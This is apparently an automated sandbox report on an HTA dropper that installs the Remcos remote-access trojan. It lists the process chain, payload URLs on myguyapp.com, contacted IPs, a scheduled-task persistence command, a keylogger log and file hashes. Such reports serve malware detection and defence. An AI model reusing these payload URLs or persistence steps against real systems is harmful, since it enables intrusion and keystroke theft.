behaviorgraph top1 signatures2 2 Behavior Graph ID: 1584279 Sample: c2.hta Startdate: 05/01/2025 Architecture: WINDOWS Score: 100 102 Antivirus detection for URL or domain 2->102 104 Sigma detected: Remcos 2->104 106 Sigma detected: Search for Antivirus process 2->106 108 10 other signatures 2->108 11 mshta.exe 16 2->11         started        15 wscript.exe 2->15         started        18 wscript.exe 2->18         started        process3 dnsIp4 94 193.26.115.39 QUICKPACKETUS Netherlands 11->94 80 C:\Users\user\AppData\Local\Temp\temp.bat, DOS 11->80 dropped 82 C:\Users\user\AppData\Local\...\c2[1].bat, DOS 11->82 dropped 20 cmd.exe 3 2 11->20         started        23 cmd.exe 11->23         started        122 Windows Scripting host queries suspicious COM object (likely to drop second stage) 15->122 25 CineBlend.scr 15->25         started        27 CineBlend.scr 18->27         started        file5 signatures6 process7 signatures8 116 Suspicious powershell command line found 20->116 118 Drops PE files with a suspicious file extension 20->118 120 Uses schtasks.exe or at.exe to add and modify task schedules 20->120 29 msword.exe 20->29         started        31 powershell.exe 15 16 20->31         started        35 powershell.exe 20->35         started        41 3 other processes 20->41 37 conhost.exe 23->37         started        39 timeout.exe 23->39         started        process9 file10 43 cmd.exe 29->43         started        86 C:\Users\user\Downloads\W2.pdf, PDF 31->86 dropped 96 Drops large PE files 31->96 98 Powershell drops PE file 31->98 88 C:\Users\user\AppData\Local\...\msword.exe, PE32 35->88 dropped 100 Loading BitLocker PowerShell Module 35->100 90 C:\Users\user\AppData\Local\Temp\msword.zip, Zip 41->90 dropped 46 AcroCEF.exe 107 41->46         started        signatures11 process12 file13 78 C:\Users\user\AppData\Local\...\Prostores.com, PE32 43->78 dropped 48 Prostores.com 43->48         started        53 conhost.exe 43->53         started        55 tasklist.exe 43->55         started        59 7 other processes 43->59 57 AcroCEF.exe 46->57         started        process14 dnsIp15 92 178.237.33.50 ATOM86-ASATOM86NL Netherlands 48->92 72 C:\Users\user\AppData\Local\...\CineBlend.scr, PE32 48->72 dropped 74 C:\Users\user\AppData\Local\...\CineBlend.js, ASCII 48->74 dropped 76 C:\ProgramData\remcos\logs.dat, data 48->76 dropped 110 Detected Remcos RAT 48->110 112 Drops PE files with a suspicious file extension 48->112 114 Installs a global keyboard hook 48->114 61 cmd.exe 48->61         started        64 cmd.exe 48->64         started        file16 signatures17 process18 file19 84 C:\Users\user\AppData\...\CineBlend.url, MS 61->84 dropped 66 conhost.exe 61->66         started        68 conhost.exe 64->68         started        70 schtasks.exe 64->70         started        process20

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

⊘No Antivirus matches

Dropped Files

SourceDetectionScannerLabelLink
C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scr0%ReversingLabs
C:\Users\user\AppData\Local\Temp\677826\Prostores.com0%ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

SourceDetectionScannerLabelLink
https://myguyapp.com/c2.batM0%Avira URL Cloudsafe
https://myguyapp.com/msword.zipurl2=https://myguyapp.com/W2.pdfUSERDOMAIN=TTCBKWZUSERDOMAIN_ROAMINGP0%Avira URL Cloudsafe
https://myguyapp.com/W2.pdf.0%Avira URL Cloudsafe
https://myguyapp.com/W2.pdfl~e0%Avira URL Cloudsafe
https://myguyapp.cX0%Avira URL Cloudsafe
https://myguyapp.com/msword.zip100%Avira URL Cloudmalware
https://myguyapp.com00%Avira URL Cloudsafe
https://myguyapp.com/W2.pdf0%Avira URL Cloudsafe
https://myguyapp.com/6D0%Avira URL Cloudsafe
https://myguyapp.com/c2.bata0%Avira URL Cloudsafe
https://myguyapp.com/MD0%Avira URL Cloudsafe
https://myguyapp.com/msword.z0%Avira URL Cloudsafe
https://myguyapp.com/W2.pdfUSERDOMA0%Avira URL Cloudsafe
https://myguyapp.com/W2.pdfUSERDOMAIN=TTCBKWZUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPRO0%Avira URL Cloudsafe
https://myguyapp.com/c2.bat100%Avira URL Cloudmalware
https://myguyapp.com/msword.zipF0%Avira URL Cloudsafe
https://myguyapp.com/c2.batEK0%Avira URL Cloudsafe
https://myguyapp.com/W20%Avira URL Cloudsafe
https://myguyapp.com/c2.batEH0%Avira URL Cloudsafe

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

NameSourceMaliciousAntivirus DetectionReputation
https://myguyapp.com/W2.pdf.msword.exe, 0000000F.00000002.1999832718.000000000074E000.00000004.00000020.00020000.00000000.sdmpfalse
  • Avira URL Cloud: safe
unknown
https://myguyapp.com/msword.zipmshta.exe, 00000000.00000003.1984704836.000000000A42A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1986859763.000000000A9D0000.00000004.00000020.00020000.00000000.sdmp, msword.exe, 0000000F.00000002.2000214763.0000000002300000.00000004.00000020.00020000.00000000.sdmp, msword.exe, 0000000F.00000002.1999832718.000000000074E000.00000004.00000020.00020000.00000000.sdmp, msword.exe, 0000000F.00000002.1999815471.0000000000730000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000015.00000002.2022501702.0000000002DA8000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000015.00000003.2022018394.0000000002DD9000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000015.00000002.2022607509.0000000002DD9000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000015.00000003.2022123246.0000000002DD9000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000015.00000002.2022446561.0000000002D20000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000017.00000003.2027408299.0000000002EBA000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000017.00000003.2027282495.0000000002EBA000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000017.00000002.2028472272.0000000002EBA000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000017.00000002.2028417188.0000000002E80000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000017.00000002.2028054246.0000000002D00000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000001D.00000002.2084148337.00000000034B0000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000001D.00000002.2084304849.00000000034D8000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2038437182.0000000002650000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2038464113.000000000267B000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000021.00000002.2040494618.00000000031B0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000021.00000002.2040183078.0000000002DBB000.00000004.00000020.00020000.00000000.sdmptrue
  • Avira URL Cloud: malware
unknown
http://x1.i.lencr.org/2D85F72862B55C4EADD9E66E06947F3D0.7.drfalse
    		high
    https://myguyapp.com/msword.zipurl2=https://myguyapp.com/W2.pdfUSERDOMAIN=TTCBKWZUSERDOMAIN_ROAMINGPcmd.exe, 00000021.00000002.2040183078.0000000002DB0000.00000004.00000020.00020000.00000000.sdmpfalse
    • Avira URL Cloud: safe
    		unknown
    https://myguyapp.com/W2.pdfl~etasklist.exe, 00000017.00000003.2027408299.0000000002EBA000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000017.00000003.2027282495.0000000002EBA000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000017.00000002.2028472272.0000000002EBA000.00000004.00000020.00020000.00000000.sdmpfalse
    • Avira URL Cloud: safe
    		unknown
    https://myguyapp.cXcmd.exe, 00000021.00000002.2040261379.0000000002EE0000.00000004.00000020.00020000.00000000.sdmpfalse
    • Avira URL Cloud: safe
    		unknown
    https://myguyapp.com/c2.batMmshta.exe, 00000000.00000003.1986911555.000000000A4A7000.00000004.00000020.00020000.00000000.sdmpfalse
    • Avira URL Cloud: safe
    		unknown
    https://myguyapp.com0mshta.exe, 00000000.00000003.1987593680.000000000A3EA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1990980601.000000000A3EC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1984704836.000000000A3E7000.00000004.00000020.00020000.00000000.sdmpfalse
    • Avira URL Cloud: safe
    		unknown
    https://myguyapp.com/W2.pdftasklist.exe, 00000017.00000002.2028417188.0000000002E80000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000017.00000002.2028054246.0000000002D00000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000001D.00000002.2084148337.00000000034B0000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000001D.00000002.2084304849.00000000034D8000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2038437182.0000000002650000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2038464113.000000000267B000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000021.00000002.2040494618.00000000031B0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000021.00000002.2040183078.0000000002DBB000.00000004.00000020.00020000.00000000.sdmp, c2[1].bat.0.drtrue
    • Avira URL Cloud: safe
    		unknown
    https://myguyapp.com/6Dmshta.exe, 00000000.00000003.1984218231.00000000031C0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1984631403.00000000031C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1984345396.00000000031C1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1986530276.00000000031C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1989049206.00000000031C4000.00000004.00000020.00020000.00000000.sdmpfalse
    • Avira URL Cloud: safe
    		unknown
    https://myguyapp.com/c2.batamshta.exe, 00000000.00000002.1988431271.000000000310E000.00000004.00000020.00020000.00000000.sdmpfalse
    • Avira URL Cloud: safe
    		unknown
    https://myguyapp.com/msword.zmsword.exe, 0000000F.00000003.1999229661.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, msword.exe, 0000000F.00000002.1999832718.00000000007C7000.00000004.00000020.00020000.00000000.sdmptrue
    • Avira URL Cloud: safe
    		unknown
    https://myguyapp.com/MDmshta.exe, 00000000.00000003.1984218231.00000000031C0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1984631403.00000000031C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1984345396.00000000031C1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1986530276.00000000031C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1989049206.00000000031C4000.00000004.00000020.00020000.00000000.sdmpfalse
    • Avira URL Cloud: safe
    		unknown
    http://www.autoitscript.com/autoit3/XProstores.com, 0000001C.00000003.2038016379.0000000004053000.00000004.00000800.00020000.00000000.sdmp, Prostores.com, 0000001C.00000000.2031404136.0000000000345000.00000002.00000001.01000000.0000000F.sdmp, CineBlend.scr, 00000024.00000000.2043279107.0000000000C05000.00000002.00000001.01000000.00000011.sdmp, CineBlend.scr, 00000026.00000002.2207796364.00000000006A5000.00000002.00000001.01000000.00000011.sdmp, Prostores.com.19.dr, Metallic.15.dr, CineBlend.scr.28.drfalse
      		high
      https://myguyapp.com/W2.pdfUSERDOMAmsword.exe, 0000000F.00000003.1999229661.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, msword.exe, 0000000F.00000002.1999832718.00000000007C7000.00000004.00000020.00020000.00000000.sdmpfalse
      • Avira URL Cloud: safe
      		unknown
      https://myguyapp.com/W2.pdfUSERDOMAIN=TTCBKWZUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROcmd.exe, 00000021.00000002.2040261379.0000000002EE0000.00000004.00000020.00020000.00000000.sdmpfalse
      • Avira URL Cloud: safe
      		unknown
      http://nsis.sf.net/NSIS_ErrorErrormsword.exe, 0000000F.00000000.1983404976.0000000000409000.00000002.00000001.01000000.0000000C.sdmp, msword.exe, 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmp, msword.exe.12.drfalse
        		high
        https://myguyapp.com/W2tasklist.exe, 00000015.00000002.2022551965.0000000002DCC000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000015.00000003.2021952305.0000000002DBF000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000015.00000003.2022018394.0000000002DCB000.00000004.00000020.00020000.00000000.sdmptrue
        • Avira URL Cloud: safe
        		unknown
        https://myguyapp.com/msword.zipFmsword.exe, 0000000F.00000002.1999832718.000000000074E000.00000004.00000020.00020000.00000000.sdmpfalse
        • Avira URL Cloud: safe
        		unknown
        https://www.autoitscript.com/autoit3/Prostores.com, 0000001C.00000003.2038016379.0000000004053000.00000004.00000800.00020000.00000000.sdmp, Prostores.com, 0000001C.00000003.2340082719.0000000001EA6000.00000004.00000020.00020000.00000000.sdmp, Presidential.15.dr, Prostores.com.19.dr, CineBlend.scr.28.drfalse
          		high
          https://myguyapp.com/c2.batmshta.exe, 00000000.00000002.1987968160.0000000000CF7000.00000004.00000010.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1988750902.000000000316F000.00000004.00000020.00020000.00000000.sdmp, c2.htafalse
          • Avira URL Cloud: malware
          		unknown
          https://myguyapp.com/c2.batEKmshta.exe, 00000000.00000003.1984218231.00000000031C0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1984631403.00000000031C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1984345396.00000000031C1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1986530276.00000000031C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1989049206.00000000031C4000.00000004.00000020.00020000.00000000.sdmpfalse
          • Avira URL Cloud: safe
          		unknown
          https://myguyapp.com/c2.batEHmshta.exe, 00000000.00000003.1984218231.00000000031C0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1984631403.00000000031C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1984345396.00000000031C1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1986530276.00000000031C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1989049206.00000000031C4000.00000004.00000020.00020000.00000000.sdmpfalse
          • Avira URL Cloud: safe
          		unknown

          World Map of Contacted IPs

          • No. of IPs < 25%
          • 25% < No. of IPs < 50%
          • 50% < No. of IPs < 75%
          • 75% < No. of IPs

          Public IPs

          IPDomainCountryFlagASNASN NameMalicious
          178.237.33.50
          		unknownNetherlands
          		8455ATOM86-ASATOM86NLfalse
          193.26.115.39
          		unknownNetherlands
          		46261QUICKPACKETUSfalse

          General Information

          Joe Sandbox version:41.0.0 Charoite
          Analysis ID:1584279
          Start date and time:2025-01-05 03:02:06 +01:00
          Joe Sandbox product:CloudBasic
          Overall analysis duration:0h 9m 1s
          Hypervisor based Inspection enabled:false
          Report type:full
          Cookbook file name:default.jbs
          Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
          Number of analysed new started processes analysed:40
          Number of new started drivers analysed:0
          Number of existing processes analysed:0
          Number of existing drivers analysed:0
          Number of injected processes analysed:0
          Technologies:
          • HCA enabled
          • EGA enabled
          • AMSI enabled
          Analysis Mode:default
          Analysis stop reason:Timeout
          Sample name:c2.hta
          Detection:MAL
          Classification:mal100.troj.spyw.expl.evad.winHTA@68/101@0/2
          EGA Information:
          • Successful, ratio: 75%
          HCA Information:
          • Successful, ratio: 98%
          • Number of executed functions: 75
          • Number of non-executed functions: 311
          Cookbook Comments:
          • Found application associated with file extension: .hta

          Warnings

          • Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
          • Excluded IPs from analysis (whitelisted): 23.56.252.213, 2.16.168.105, 2.16.168.107, 162.159.61.3, 172.64.41.3, 34.237.241.83, 54.224.241.105, 18.213.11.84, 50.16.47.176, 23.209.209.135, 199.232.214.172, 2.19.126.149, 2.19.126.143, 23.200.0.133, 23.200.0.147, 192.168.2.4, 23.56.254.164, 3.233.129.217, 23.56.162.204, 20.12.23.50, 13.107.246.45
          • Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, geo2.adobe.com, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
          • Execution Graph export aborted for target mshta.exe, PID 1236 because there are no executed function
          • Not all processes where analyzed, report is missing behavior information
          • Report size exceeded maximum capacity and may have missing behavior information.
          • Report size exceeded maximum capacity and may have missing disassembly code.
          • Report size getting too big, too many NtCreateFile calls found.
          • Report size getting too big, too many NtCreateKey calls found.
          • Report size getting too big, too many NtOpenKeyEx calls found.
          • Report size getting too big, too many NtProtectVirtualMemory calls found.
          • Report size getting too big, too many NtQueryValueKey calls found.
          • Report size getting too big, too many NtSetInformationFile calls found.

          Simulations

          Behavior and APIs

          TimeTypeDescription
          02:03:35Task SchedulerRun new task: Troubleshooting path: wscript s>//B "C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.js"
          02:03:40AutostartRun: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CineBlend.url
          21:02:55API Interceptor10x Sleep call for process: mshta.exe modified
          21:02:55API Interceptor86x Sleep call for process: powershell.exe modified
          21:03:07API Interceptor2x Sleep call for process: AcroCEF.exe modified
          21:03:30API Interceptor1x Sleep call for process: msword.exe modified
          21:04:39API Interceptor57x Sleep call for process: Prostores.com modified

          Joe Sandbox View / Context

          IPs

          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
          178.237.33.50c2.htaGet hashmaliciousRemcosBrowse
          • geoplugin.net/json.gp
          4XYAW8PbZH.exeGet hashmaliciousRemcosBrowse
          • geoplugin.net/json.gp
          iGhDjzEiDU.exeGet hashmaliciousRemcosBrowse
          • geoplugin.net/json.gp
          1.exeGet hashmaliciousRemcosBrowse
          • geoplugin.net/json.gp
          Faxed_6761fa19c0f9d_293874738_EXPORT_SOA__REF2632737463773364_221PLW.exe.exeGet hashmaliciousRemcosBrowse
          • geoplugin.net/json.gp
          heteronymous.vbsGet hashmaliciousRemcos, GuLoaderBrowse
          • geoplugin.net/json.gp
          2LDJIyMl2r.exeGet hashmaliciousRemcosBrowse
          • geoplugin.net/json.gp
          1evAkYZpwDV0N4v.exeGet hashmaliciousRemcosBrowse
          • geoplugin.net/json.gp
          94e.exeGet hashmaliciousRemcosBrowse
          • geoplugin.net/json.gp
          94e.exeGet hashmaliciousRemcosBrowse
          • geoplugin.net/json.gp
          193.26.115.39c2.htaGet hashmaliciousRemcosBrowse

            Domains

            ⊘No context

            ASNs

            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
            ATOM86-ASATOM86NLc2.htaGet hashmaliciousRemcosBrowse
            • 178.237.33.50
            4XYAW8PbZH.exeGet hashmaliciousRemcosBrowse
            • 178.237.33.50
            iGhDjzEiDU.exeGet hashmaliciousRemcosBrowse
            • 178.237.33.50
            1.exeGet hashmaliciousRemcosBrowse
            • 178.237.33.50
            Faxed_6761fa19c0f9d_293874738_EXPORT_SOA__REF2632737463773364_221PLW.exe.exeGet hashmaliciousRemcosBrowse
            • 178.237.33.50
            heteronymous.vbsGet hashmaliciousRemcos, GuLoaderBrowse
            • 178.237.33.50
            2LDJIyMl2r.exeGet hashmaliciousRemcosBrowse
            • 178.237.33.50
            1evAkYZpwDV0N4v.exeGet hashmaliciousRemcosBrowse
            • 178.237.33.50
            94e.exeGet hashmaliciousRemcosBrowse
            • 178.237.33.50
            94e.exeGet hashmaliciousRemcosBrowse
            • 178.237.33.50
            QUICKPACKETUSc2.htaGet hashmaliciousRemcosBrowse
            • 193.26.115.39
            Dd5DwDCHJD.exeGet hashmaliciousQuasarBrowse
            • 193.31.28.181
            3e88PGFfkf.exeGet hashmaliciousDCRatBrowse
            • 185.230.138.58
            arm.nn.elfGet hashmaliciousMirai, OkiruBrowse
            • 198.22.235.170
            la.bot.powerpc.elfGet hashmaliciousMiraiBrowse
            • 198.22.243.54
            la.bot.mipsel.elfGet hashmaliciousMiraiBrowse
            • 172.98.171.129
            surfex.exeGet hashmaliciousRedLineBrowse
            • 185.218.125.157
            c2.htaGet hashmaliciousXWormBrowse
            • 193.26.115.21
            armv5l.elfGet hashmaliciousMiraiBrowse
            • 23.133.3.186
            elitebotnet.mpsl.elfGet hashmaliciousMirai, OkiruBrowse
            • 23.133.3.168

            JA3 Fingerprints

            ⊘No context

            Dropped Files

            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
            C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrc2.htaGet hashmaliciousRemcosBrowse
              RisingStrip.exeGet hashmaliciousVidarBrowse
                Active_Setup.exeGet hashmaliciousLummaC StealerBrowse
                  CenteredDealing.exeGet hashmaliciousVidarBrowse
                    CenteredDealing.exeGet hashmaliciousVidarBrowse
                      over.ps1Get hashmaliciousVidarBrowse
                        MatAugust.exeGet hashmaliciousVidarBrowse
                          6684V5n83w.exeGet hashmaliciousVidarBrowse
                            vlid_acid.exeGet hashmaliciousLummaC StealerBrowse
                              AquaPac.exeGet hashmaliciousLummaC StealerBrowse

                                Created / dropped Files

                                C:\ProgramData\remcos\logs.dat

                                Download File
                                Process:C:\Users\user\AppData\Local\Temp\677826\Prostores.com
                                File Type:data
                                Category:dropped
                                Size (bytes):144
                                Entropy (8bit):3.3544524354439966
                                Encrypted:false
                                SSDEEP:3:rglsrkfplfwFi5JWRal2Jl+7R0DAlBG45klovDl6v:MlsIf0c5YcIeeDAlOWAv
                                MD5:87F99ABFAF75B6060BB42B4905F2F860
                                SHA1:371AF71F335BACA6700D87F40CE8FA1694F0DF6C
                                SHA-256:F4104ADB86A64F39B72F1D1DEE620EFC725DB654A887596B9004AFE8CD105B1F
                                SHA-512:C49557A628EE176C49F33F04C14FE140461F7F254D7EC4EF4182D1F896BEF61C664A426DBBBE5E4316673C8106618FDF9E75C5BDDE746A9BD951314F2C7B230A
                                Malicious:true
                                Preview:....[.2.0.2.5./.0.1./.0.4. .2.1.:.0.4.:.0.7. .O.f.f.l.i.n.e. .K.e.y.l.o.g.g.e.r. .S.t.a.r.t.e.d.].........[.P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....

                                C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                File Type:ASCII text
                                Category:dropped
                                Size (bytes):292
                                Entropy (8bit):5.15938885657532
                                Encrypted:false
                                SSDEEP:6:iOvuh4q2Pwkn2nKuAl9OmbnIFUtLCJZmwhDkwOwkn2nKuAl9OmbjLJ:764vYfHAahFUtLCJ/hD5JfHAaSJ
                                MD5:5960003E6A252929C5B77BDF868F612C
                                SHA1:63F892B1C77DD9CB8BB5FD3AFA9D8E9B0D0408D3
                                SHA-256:A27D9A5CE7C9EF458E98D1DD98198F6E74C75188F23161607A91ACEC186ADDCC
                                SHA-512:8BC4B9FD495F8327DC755A5DB8EF4FC538ED3C19C01B468AC86E582EE97B3159A5370E3F075DC6B4D3A0D0069C6DBC8DD96C85512B932612F2BBB0FBD8B86547
                                Malicious:false
                                Preview:2025/01/04-21:03:00.083 1df4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/04-21:03:00.085 1df4 Recovering log #3.2025/01/04-21:03:00.086 1df4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

                                C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                File Type:ASCII text
                                Category:dropped
                                Size (bytes):292
                                Entropy (8bit):5.15938885657532
                                Encrypted:false
                                SSDEEP:6:iOvuh4q2Pwkn2nKuAl9OmbnIFUtLCJZmwhDkwOwkn2nKuAl9OmbjLJ:764vYfHAahFUtLCJ/hD5JfHAaSJ
                                MD5:5960003E6A252929C5B77BDF868F612C
                                SHA1:63F892B1C77DD9CB8BB5FD3AFA9D8E9B0D0408D3
                                SHA-256:A27D9A5CE7C9EF458E98D1DD98198F6E74C75188F23161607A91ACEC186ADDCC
                                SHA-512:8BC4B9FD495F8327DC755A5DB8EF4FC538ED3C19C01B468AC86E582EE97B3159A5370E3F075DC6B4D3A0D0069C6DBC8DD96C85512B932612F2BBB0FBD8B86547
                                Malicious:false
                                Preview:2025/01/04-21:03:00.083 1df4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/04-21:03:00.085 1df4 Recovering log #3.2025/01/04-21:03:00.086 1df4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

                                C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                File Type:ASCII text
                                Category:dropped
                                Size (bytes):336
                                Entropy (8bit):5.074518450699976
                                Encrypted:false
                                SSDEEP:6:iOqjIq2Pwkn2nKuAl9Ombzo2jMGIFUthPZmwfdkwOwkn2nKuAl9Ombzo2jMmLJ:7+IvYfHAa8uFUtB/l5JfHAa8RJ
                                MD5:031156DC94DA7541126C55700529F967
                                SHA1:D7824A1CDB74DC216D251A46AAD7465626E0070C
                                SHA-256:C1240CB9208700F3573C430E0039CE3B52BA9A2CD1EE2872ED7128DFAC5593C8
                                SHA-512:3749B765EFE89B639AAB5C73FBD73426C9CF6BE01F3A4ADD876A659C9325E9FDC5AA611F72A128E0254AE4EB169DDD625CAD983442BC48D2BDCF77D07F40F067
                                Malicious:false
                                Preview:2025/01/04-21:03:00.103 1eb4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/04-21:03:00.104 1eb4 Recovering log #3.2025/01/04-21:03:00.104 1eb4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

                                C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                File Type:ASCII text
                                Category:dropped
                                Size (bytes):336
                                Entropy (8bit):5.074518450699976
                                Encrypted:false
                                SSDEEP:6:iOqjIq2Pwkn2nKuAl9Ombzo2jMGIFUthPZmwfdkwOwkn2nKuAl9Ombzo2jMmLJ:7+IvYfHAa8uFUtB/l5JfHAa8RJ
                                MD5:031156DC94DA7541126C55700529F967
                                SHA1:D7824A1CDB74DC216D251A46AAD7465626E0070C
                                SHA-256:C1240CB9208700F3573C430E0039CE3B52BA9A2CD1EE2872ED7128DFAC5593C8
                                SHA-512:3749B765EFE89B639AAB5C73FBD73426C9CF6BE01F3A4ADD876A659C9325E9FDC5AA611F72A128E0254AE4EB169DDD625CAD983442BC48D2BDCF77D07F40F067
                                Malicious:false
                                Preview:2025/01/04-21:03:00.103 1eb4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/04-21:03:00.104 1eb4 Recovering log #3.2025/01/04-21:03:00.104 1eb4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

                                C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):475
                                Entropy (8bit):4.974792857895216
                                Encrypted:false
                                SSDEEP:12:YH/um3RA8sqVUsBdOg2HiAAcaq3QYiubInP7E4T3y:Y2sRdsCZdMHig3QYhbG7nby
                                MD5:601616D957664F5298321D5B7FE6C879
                                SHA1:3CFF38B78933986C82035AD3F1B1D2B35AD4BA3C
                                SHA-256:4C71D026449273DAFE2BBBCBA1353388804920BE935164DD7C58125A043B17EF
                                SHA-512:0275E74DDDC55D135311B56B7460A731DC065965FCE822CBFC67AA2A2B317FDA804F3F89C042EEE9CFC4A25BA0536AC3617CC399229E4A8AD6EB313C11340D3D
                                Malicious:false
